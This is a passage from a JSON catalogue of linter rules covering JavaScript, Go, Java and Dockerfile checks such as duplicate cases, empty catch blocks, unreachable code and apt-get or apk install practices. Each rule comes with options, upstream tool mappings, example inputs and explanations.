        "input": "switch (a) { case 1: break; case 1: break; case \"x\": break; case 'x': break; case b + 1: break; case b+1: break; default: }\nif (a) {} else if (b) {} else if (a) {}\nif (a || b) {} else if (a) {} else if (b && c) {}\nif (a && b) {} else if (a) {} else if (b && a) {}\nif (a) { if (a) {} } else if (c) {} else { if (c) {} }\n",
        "language": "js",
        "other_lines": [
          2,
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 29,
            "length": 14,
            "line": 1
          },
          {
            "column": 97,
            "length": 16,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-case",
      "languages": [
        "c",
        "cpp",
        "csharp",
        "java",
        "js",
        "kotlin",
        "php",
        "python",
        "ruby",
        "sql"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-duplicate-case",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-duplicate-case"
        }
      ],
      "why": "Only the first arm with that test can run, so the second is dead code. It is usually a copy that should have had another value, and the case it was meant for is then unhandled.\n\nTo fix, change the test to the value it was meant for, or merge the two arms."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a block with no statement and no comment as the body of an `if`, `else`, loop, `try` or `finally` (`if (a) { }`, `for (;;) { }`). A comment inside counts as content. A bare `{ }` and a function body are not reported, and an empty `catch` is the rule `no-empty-catch`. With `comment_handles` off a comment does not count. With `waiting_loops` an empty loop whose condition is a call is a wait and is left alone, and so is a loop whose head matches `ignored_loop_heads`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nfunc f(ok bool, ch chan int, g func() bool) {\n\tif ok {\n\t}\n\tif ok {\n\t\t// nothing\n\t} else {\n\t}\n\tfor ok {\n\t}\n\tfor i := 0; i < 3; i++ {\n\t}\n\tfor i := range ch {\n\t}\n\tfor g() {\n\t}\n\tfor range ch {\n\t}\n\t{\n\t}\n\tgo func() {}()\n\tselect {\n\t}\n}\n\nfunc empty() {}\n\nfunc forever() {\n\tfor {\n\t}\n}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 8,
            "length": 1,
            "line": 4
          },
          {
            "column": 8,
            "length": 1,
            "line": 6
          },
          {
            "column": 9,
            "length": 1,
            "line": 8
          },
          {
            "column": 9,
            "length": 1,
            "line": 10
          },
          {
            "column": 25,
            "length": 1,
            "line": 12
          },
          {
            "column": 20,
            "length": 1,
            "line": 14
          },
          {
            "column": 6,
            "length": 1,
            "line": 30
          }
        ]
      },
      "fix": null,
      "id": "no-empty-block",
      "languages": [
        "c",
        "cpp",
        "csharp",
        "go",
        "java",
        "js",
        "kotlin",
        "php",
        "python",
        "ruby"
      ],
      "options": [
        {
          "default": true,
          "description": "A comment in the block counts as content",
          "name": "comment_handles",
          "type": "bool"
        },
        {
          "default": false,
          "description": "Leave alone an empty loop whose condition is a call",
          "name": "waiting_loops",
          "type": "bool"
        },
        {
          "default": "\\b\\B",
          "description": "A regular expression for the condition or head of a loop whose empty body is left alone",
          "name": "ignored_loop_heads",
          "type": "string"
        }
      ],
      "presets": [
        "go/revive",
        "js/eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-empty",
          "note": "the `allowEmptyCatch` option is not supported",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-empty"
        },
        {
          "id": "empty-block",
          "note": "a bare `{}` block statement and an empty `switch` body are not read",
          "partial": true,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#empty-block"
        }
      ],
      "why": "An empty block is usually a branch that was started and never filled in, or code that was deleted around it. The reader cannot tell whether the nothing is meant.\n\nTo fix, write the code, or say in a comment that nothing is intended."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `catch`, `except` or `rescue` clause whose body has no statement and no comment (`catch (e) { }`; in Python a lone `pass` counts as no statement). A comment belongs to the clause when it is on a later line than the clause starts on, after the clause's last token on that line, or indented deeper than the clause. With the option `comment_handles` off a comment does not count either. With `broad_only` only a clause that catches everything, or one of the exception types of the option `types`, is reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  public boolean equals(Object o) {\n    return o == \"s\" || o.toString() != \"t\" || o.hashCode() == 1;\n  }\n\n  boolean ok(boolean done, String s) {\n    long big = 10l;\n    long fine = 10L;\n    if (done == true || done != false) {\n      return s.equals(\"a\");\n    }\n    while (done);\n    return false;\n  }\n\n  void f(int x) {\n    try {\n      g();\n    } catch (Exception e) {\n    }\n    try {\n      g();\n    } catch (Exception e) {\n      // ignored\n    }\n    switch (x) {\n      case 1:\n        g();\n    }\n    switch (x) {\n      case 1:\n        g();\n        break;\n      default:\n        break;\n    }\n  }\n}\n\nclass B {\n  public boolean equals(Object o) {\n    return true;\n  }\n\n  public int hashCode() {\n    return 1;\n  }\n}\n",
        "language": "java",
        "other_lines": [
          2,
          3,
          7,
          9,
          12,
          26
        ],
        "spans": [
          {
            "column": 7,
            "length": 1,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "no-empty-catch",
      "languages": [
        "c",
        "cpp",
        "csharp",
        "java",
        "js",
        "kotlin",
        "php",
        "powershell",
        "python",
        "ruby"
      ],
      "options": [
        {
          "default": true,
          "description": "A comment in the body counts as handling the error",
          "name": "comment_handles",
          "type": "bool"
        },
        {
          "default": false,
          "description": "Report only a clause that catches everything or a broad type",
          "name": "broad_only",
          "type": "bool"
        },
        {
          "default": [],
          "description": "Types that count as broad",
          "name": "types",
          "type": "list"
        }
      ],
      "presets": [
        "js/eslint-recommended",
        "powershell/psscriptanalyzer",
        "python/ruff",
        "ruby/rubocop",
        "csharp/roslynator"
      ],
      "upstream": [
        {
          "id": "EmptyCatchBlock",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/blocks/emptycatchblock.html#EmptyCatchBlock"
        },
        {
          "id": "no-empty",
          "note": "the `allowEmptyCatch` option is not supported",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-empty"
        },
        {
          "id": "PSAvoidUsingEmptyCatchBlock",
          "partial": false,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidusingemptycatchblock"
        },
        {
          "id": "RCS1075",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1075"
        },
        {
          "id": "Lint/SuppressedException",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintsuppressedexception"
        },
        {
          "id": "S110",
          "note": "The preset sets option `comment_handles` off because ruff reports an `except` whose only statement is `pass`, a comment or not.",
          "partial": true,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/S110/"
        }
      ],
      "why": "An empty handler swallows the error without a trace: the program goes on in a state it did not expect, and the failure shows up later far from its cause, with nothing in the logs.\n\nTo fix, handle the error, log it, or let it propagate; if ignoring it is right, say why in a comment."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an assignment whose two sides are the same tokens (`x = x`, `x.y = x.y`, `x[0] = x[0]`, `x ||= x`). The option `operators` lists the operators that store the right side as it is (`=`, `||=`, `&&=`, `??=`); `x += x` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = a; a.b = a.b; a[\"b\"] = a.b; a[b] = a[b]; this.c = this.c; a = b; a.b = a.c; a &&= a; a += a;\n[a, b] = [a, b]; [a, ...b] = [a, ...b]; [a, b] = [b, a]; ({ a } = { a }); ({ a: b } = { a: b });\nif (a = b) {} if ((a = b)) {} while (a = b) {} do {} while (a = b); for (; a = b; ) {} for (; (a = b); ) {}\nvar x = (a = b) ? 1 : 2, y = a = b ? 1 : 2;\nif (!!a) {} while (!!a) {} do {} while (!!a); for (; !!a; ) {} var z = !!a ? 1 : 2, w = !!a;\nif (Boolean(a)) {} if (!Boolean(a)) {} Boolean(!!a); !!!a; if ((!!a)) {} if (a && !!b) {} var u = Boolean(a);\n",
        "language": "js",
        "other_lines": [
          3,
          5,
          6
        ],
        "spans": [
          {
            "column": 5,
            "length": 1,
            "line": 1
          },
          {
            "column": 14,
            "length": 3,
            "line": 1
          },
          {
            "column": 40,
            "length": 4,
            "line": 1
          },
          {
            "column": 55,
            "length": 6,
            "line": 1
          },
          {
            "column": 87,
            "length": 1,
            "line": 1
          },
          {
            "column": 10,
            "length": 6,
            "line": 2
          },
          {
            "column": 30,
            "length": 9,
            "line": 2
          },
          {
            "column": 67,
            "length": 5,
            "line": 2
          },
          {
            "column": 87,
            "length": 8,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-self-assign",
      "languages": [
        "c",
        "cpp",
        "csharp",
        "go",
        "java",
        "js",
        "php",
        "python",
        "ruby"
      ],
      "options": [
        {
          "default": [
            "=",
            "||=",
            "&&=",
            "??="
          ],
          "description": "The assignment operators that store the right side as it is",
          "name": "operators",
          "type": "list"
        }
      ],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint",
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "no-self-assign",
          "note": "the `props` option is always on; only identifiers and static member chains are compared",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-self-assign"
        },
        {
          "id": "Lint/SelfAssignment",
          "note": "not multiple assignment (`a, b = a, b`)",
          "partial": true,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintselfassignment"
        }
      ],
      "why": "The assignment changes nothing, or only calls a getter and a setter for nothing. It is nearly always a typing error where the right side should have been another variable, such as a parameter with the same name as a field.\n\nTo fix, name the right variable, or delete the statement."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an equality or comparison whose two sides are the same tokens (`x === x`, `x < x`). `x != x` used as a test for NaN is reported too. Two calls (`f() === f()`) count as the same tokens and are reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class Cases {\n  void f(int a) {\n    if (a == a) { g(); }\n    try { g(); } catch (Exception e) { }\n    if (a > 1) { } else { g(); }\n  }\n}\n",
        "language": "java",
        "other_lines": [
          4,
          5
        ],
        "spans": [
          {
            "column": 9,
            "length": 6,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-self-compare",
      "languages": [
        "c",
        "cpp",
        "csharp",
        "java",
        "js",
        "kotlin",
        "php",
        "python",
        "ruby"
      ],
      "options": [],
      "presets": [
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-self-compare",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-self-compare"
        }
      ],
      "why": "For a value the result is the same every time (except for NaN), so the test is dead or a typing error: the author compared a variable with itself instead of with another one.\n\nTo fix, compare with the right value; to test for NaN, use `isNaN` or the language's own check."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a statement that can never run: after `return`, `throw`, `break` or `continue`, after an `if`/`else` or `try` that always jumps, or after a loop that never ends. Only the first statement of such a run is reported. Where the language has a flow layer (C#) it also covers constant conditions and calls that do not return (`does_not_return` in `semantics:`, the option `non_returning_calls`). Hoisted declarations and empty statements are left out. Removing the statement is offered as an editor quick fix only, because unreachable code usually signals a bug.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nfunc f(a bool) int {\n\tif a {\n\t\treturn 1\n\t} else {\n\t\tg()\n\t}\n\tg()\n\treturn 0\n}\n\nfunc h(a bool) int {\n\treturn 1\n\tg()\n}\n\nfunc k(a bool) int {\n\tif a {\n\t\treturn 1\n\t} else {\n\t\treturn 2\n\t}\n\tg()\n}\n\nfunc m(a bool) int {\n\tif a {\n\t\tgoto done\n\t}\n\treturn 1\ndone:\n\tg()\n\treturn 2\n}\n\nfunc p(ok bool) {\n\tfor ok {\n\t\tg()\n\t}\n\tg()\n}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 2,
            "length": 3,
            "line": 15
          },
          {
            "column": 2,
            "length": 3,
            "line": 24
          }
        ]
      },
      "fix": "suggestion",
      "id": "unreachable-code",
      "languages": [
        "c",
        "cpp",
        "csharp",
        "go",
        "java",
        "js",
        "kotlin",
        "php",
        "python",
        "ruby"
      ],
      "options": [
        {
          "default": true,
          "description": "With a flow layer, treat the code after a call that never returns (`[DoesNotReturn]`, `does_not_return` in `semantics:`) as unreachable. A compiler does not, so turn this off to report exactly what it reports.",
          "name": "non_returning_calls",
          "type": "bool"
        }
      ],
      "presets": [
        "go/revive",
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-unreachable",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-unreachable"
        },
        {
          "id": "unreachable-code",
          "note": "the code after `panic`, `os.Exit`, `log.Fatal*` and `t.Fatal*` is not read as unreachable",
          "partial": true,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#unreachable-code"
        },
        {
          "id": "RCS1148",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers"
        }
      ],
      "why": "Code that cannot run is either a leftover or a sign that an earlier `return` or `throw` is in the wrong place, in which case what the author expected to run does not.\n\nTo fix, delete the statement, or move the jump that makes it unreachable."
    },
    {
      "category": "performance",
      "default_level": "off",
      "description": "Reports an `apk add` without the `--no-cache` flag. A `RUN` with a `--mount` of type `cache` or `tmpfs` on `/var/cache/apk` is not reported, since nothing is stored in the image there.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:3\nRUN apk add curl\nRUN apk add --no-cache curl=8.5.0-r0\nRUN apk add --no-cache --virtual .deps gcc=13.2.1-r0 musl-dev=1.2.4-r2\nRUN apk add --no-cache ./pkg.apk\nRUN --mount=type=cache,target=/var/cache/apk apk add curl=8\n",
        "language": "dockerfile",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "apk-no-cache",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3019",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3019"
        }
      ],
      "why": "Without `--no-cache`, `apk add` keeps the downloaded package index in `/var/cache/apk`. That copy is written into the layer and stays in the image, making it larger for data nobody reads at run time.\n\n`--no-cache` fetches the index for this one command and stores nothing; it replaces the older pair `apk update` and `rm -rf /var/cache/apk/*`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an `apk add` that names a package without a version. A package is pinned when its name has `=`, `~`, `<` or `>` (`curl=8.5.0-r0`, `curl~8.5`) or when it is a local `.apk` file; a variable such as `$PKGS` counts as unpinned, because its content is unknown.\n\nThe values of options that take one (`--virtual NAME`, `-t NAME`, `--repository URL`, `-X URL`) are not taken for packages, and an `apk add` with no package is fine.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:3\nRUN apk add curl\nRUN apk add --no-cache curl=8.5.0-r0\nRUN apk add --no-cache --virtual .deps gcc=13.2.1-r0 musl-dev=1.2.4-r2\nRUN apk add --no-cache ./pkg.apk\nRUN --mount=type=cache,target=/var/cache/apk apk add curl=8\n",
        "language": "dockerfile",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "apk-pin-versions",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3018",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3018"
        }
      ],
      "why": "Without a version, `apk add` installs whatever the Alpine repository holds on the day of the build. Rebuilding the same Dockerfile later can give an image with other package versions, and a new release that breaks your program arrives without any change on your side.\n\nA pinned build is repeatable. The price is upkeep: when the repository replaces a version with a newer one, the build fails until you update the pin."
    },
    {
      "category": "performance",
      "default_level": "off",
      "description": "Reports an `apt-get install` that also installs recommended packages. `--no-install-recommends` (or `-o APT::Install-Recommends=false`) stops that. Other `apt-get` commands are not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM debian:12\nRUN apt-get update && apt-get install curl\nRUN apt-get install -y curl=7.88 wget=1.21\nRUN apt-get install -y --no-install-recommends curl\nRUN apt-get install -qq -y -t stable curl=7.88\nRUN apt-get -y install foo/stable\nRUN apt-get install -yq ./a.deb\nRUN apt-get install --yes \\\n    curl \\\n    git\nRUN apt-get update\n\n# a blank line or a comment before an instruction does not hide it\nRUN apt-get install -y curl=7.88\n",
        "language": "dockerfile",
        "other_lines": [
          4
        ],
        "spans": [
          {
            "column": 1,
            "length": 42,
            "line": 2
          },
          {
            "column": 1,
            "length": 42,
            "line": 3
          },
          {
            "column": 1,
            "length": 46,
            "line": 5
          },
          {
            "column": 1,
            "length": 33,
            "line": 6
          },
          {
            "column": 1,
            "length": 31,
            "line": 7
          },
          {
            "column": 1,
            "length": 1,
            "line": 8
          },
          {
            "column": 1,
            "length": 32,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "apt-get-no-recommends",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3015",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3015"
        }
      ],
      "why": "By default `apt-get` also installs the packages that a package only recommends, which it does not need to run. In an image they add size and build time, and more software to patch and to be attacked through.\n\nWith the flag only the real dependencies are installed; name anything else you need yourself."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an `apt-get install` of a package without a version. A package is pinned when its name has `=` (`curl=7.88.1-10`) or `/` (`curl/stable`, a release), or when it is a `.deb` file. The value of `-t` or `--target-release` is not taken for a package. A variable such as `$PKGS` counts as unpinned.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM debian:12\nRUN apt-get update && apt-get install curl\nRUN apt-get install -y curl=7.88 wget=1.21\nRUN apt-get install -y --no-install-recommends curl\nRUN apt-get install -qq -y -t stable curl=7.88\nRUN apt-get -y install foo/stable\nRUN apt-get install -yq ./a.deb\nRUN apt-get install --yes \\\n    curl \\\n    git\nRUN apt-get update\n\n# a blank line or a comment before an instruction does not hide it\nRUN apt-get install -y curl=7.88\n",
        "language": "dockerfile",
        "other_lines": [
          3,
          5,
          6,
          7,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 42,
            "line": 2
          },
          {
            "column": 1,
            "length": 51,
            "line": 4
          },
          {
            "column": 1,
            "length": 1,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "apt-get-pin-versions",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3008",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3008"
        }
      ],
      "why": "An unpinned install takes the newest version the distribution offers on the day of the build. Two builds of one Dockerfile can then differ, and a new release can break the image without any change in your code.\n\nPinned versions make the build repeatable. Debian and Ubuntu remove old versions from their repositories, so a pin stops resolving after a while and needs updating."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an `apt-get install` that does not answer apt's prompts. The flags that do are `-y`, `--yes`, `--assume-yes` and `-qq` (also `-q=2` and `--quiet` twice), which implies yes; they may stand anywhere in the command (`apt-get -y install` is fine). Other `apt-get` commands are not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM debian:12\nRUN apt-get update && apt-get install curl\nRUN apt-get install -y curl=7.88 wget=1.21\nRUN apt-get install -y --no-install-recommends curl\nRUN apt-get install -qq -y -t stable curl=7.88\nRUN apt-get -y install foo/stable\nRUN apt-get install -yq ./a.deb\nRUN apt-get install --yes \\\n    curl \\\n    git\nRUN apt-get update\n\n# a blank line or a comment before an instruction does not hide it\nRUN apt-get install -y curl=7.88\n",
        "language": "dockerfile",
        "other_lines": [
          3,
          4,
          5,
          6,
          7,
          8,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 42,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "apt-get-yes",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3014",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3014"
        }
      ],
      "why": "A build has no terminal to answer questions. When `apt-get` needs a confirmation, for example because the install pulls in additional packages, it prints `Do you want to continue? [Y/n] Abort.` and exits with an error, which fails the `RUN` and the build."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports a `COPY --from` that names its own stage. That is `COPY --from=build` in the stage that `FROM alpine AS build` starts. Names are compared without regard to case.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine\nFROM alpine:3 AS build\nFROM build\nFROM scratch\nFROM alpine:3 AS build\nFROM $BASE\nFROM alpine:3 AS Build\nFROM BUILD\nFROM localhost:5000/img\nFROM localhost:5000/img:1\nFROM alpine@sha256:abc\nUSER root\nUSER app\nUSER 0:0\nCOPY --from=build /a /b\nCOPY --from=nope /a /b\nCOPY --from=BUILD /a /b\nCOPY --from=0 /a /b\nCOPY --from=99 /a /b\nCOPY --from=alpine:3 /a /b\nCMD [\"a\"]\nCMD [\"b\"]\nENTRYPOINT [\"a\"]\nENTRYPOINT [\"b\"]\nHEALTHCHECK CMD a\nHEALTHCHECK CMD b\nFROM alpine:3 AS last\nCOPY --from=LAST /a /b\nUSER app\nCMD [\"a\"]\nUSER root\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          5,
          7,
          9,
          14,
          16,
          19,
          22,
          24,
          25,
          26,
          31
        ],
        "spans": [
          {
            "column": 1,
            "length": 22,
            "line": 28
          }
        ]
      },
      "fix": null,
      "id": "copy-from-own-stage",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3023",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3023"
        }
      ],
      "why": "A stage cannot copy from itself: its content does not exist yet while it is built, and BuildKit stops with a circular dependency error. The source is usually an earlier stage, or the build context (then drop `--from`)."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `COPY --from=name` that names no stage defined earlier. Not reported: the number of an earlier stage (`--from=0`) and an image reference with a `:` (`--from=nginx:1`). A stage defined further down does not count. Names are compared without regard to case.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine\nFROM alpine:3 AS build\nFROM build\nFROM scratch\nFROM alpine:3 AS build\nFROM $BASE\nFROM alpine:3 AS Build\nFROM BUILD\nFROM localhost:5000/img\nFROM localhost:5000/img:1\nFROM alpine@sha256:abc\nUSER root\nUSER app\nUSER 0:0\nCOPY --from=build /a /b\nCOPY --from=nope /a /b\nCOPY --from=BUILD /a /b\nCOPY --from=0 /a /b\nCOPY --from=99 /a /b\nCOPY --from=alpine:3 /a /b\nCMD [\"a\"]\nCMD [\"b\"]\nENTRYPOINT [\"a\"]\nENTRYPOINT [\"b\"]\nHEALTHCHECK CMD a\nHEALTHCHECK CMD b\nFROM alpine:3 AS last\nCOPY --from=LAST /a /b\nUSER app\nCMD [\"a\"]\nUSER root\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          5,
          7,
          9,
          14,
          22,
          24,
          25,
          26,
          28,
          31
        ],
        "spans": [
          {
            "column": 1,
            "length": 22,
            "line": 16
          },
          {
            "column": 1,
            "length": 20,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "copy-from-unknown-stage",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3022",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3022"
        }
      ],
      "why": "Docker does not fail on an unknown name: it takes it for an image and pulls it from the registry. A typo in a stage name (`buidler`) or a reference to a stage defined further down copies files from whatever image has that name, or fails only when the pull fails."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an `ADD` that only copies. That is an `ADD` with no URL (`http://`, `https://`) and no archive (a name ending in `.tar`, `.gz`, `.tgz`, `.xz`, `.bz2` and the like) among its arguments.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          9,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 22
          }
        ]
      },
      "fix": null,
      "id": "copy-instead-of-add",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3020",
          "note": "Reports an ADD with no URL and no archive among its arguments; hadolint reports one source that is neither.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3020"
        }
      ],
      "why": "`ADD` does more than copy: it unpacks local tar archives and downloads URLs. For a plain file or folder that is a surprise, since an archive you meant to copy is extracted and a value that turns out to be a URL starts a download. `COPY` only copies, so the instruction says what happens.\n\nKeep `ADD` for unpacking an archive into the image."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports a `COPY` with several sources whose destination does not end with `/` (`COPY a b /app`). The JSON form, a single source and a heredoc (`<<`) are not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          9,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 14,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "copy-many-needs-directory",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3021",
          "note": "The shell form only; the JSON form is not checked.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3021"
        }
      ],
      "why": "With several sources the destination must be a directory, and Docker takes a destination without a trailing slash for a file name. The build stops with an error that the destination of a copy of several sources must end with `/`."
    },
    {
      "category": "performance",
      "default_level": "off",
      "description": "Reports a `RUN` that updates the apt package lists and does not delete them. It runs `apt-get update` or `apt update` and has no `rm` of `/var/lib/apt/lists` after it in the same `RUN`. `apt-get clean` does not count, it empties another directory. A `RUN` with a `--mount` of type `cache` or `tmpfs` on `/var/lib/apt/lists` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM debian:12\nRUN a\nRUN b\n# a comment between does not matter\nRUN c\nENV A=1\nRUN d\nRUN e && f\nRUN g\nRUN h $(i)\nRUN j\nRUN --mount=type=cache,target=/x k\nRUN --mount=type=cache,target=/x l\nRUN m\nRUN [\"n\", \"o\"]\nRUN [\"p\"]\n\nRUN a | b\nRUN a || b\nRUN [\"a\", \"b\"]\nSHELL [\"/bin/bash\", \"-o\", \"pipefail\", \"-c\"]\nRUN a | b\nFROM debian:12\nRUN a | b\nRUN apt-get update\nRUN apt-get update && apt-get install -y a\nRUN apt update\nRUN apt-get update && rm -rf /var/lib/apt/lists/*\nRUN apt-get update && apt-get install -y a && rm -fr \"/var/lib/apt/lists\"\nRUN --mount=type=cache,target=/var/lib/apt/lists apt-get update\nRUN apt-get install -y a\n",
        "language": "dockerfile",
        "other_lines": [
          3,
          5,
          13,
          15,
          16,
          18,
          24
        ],
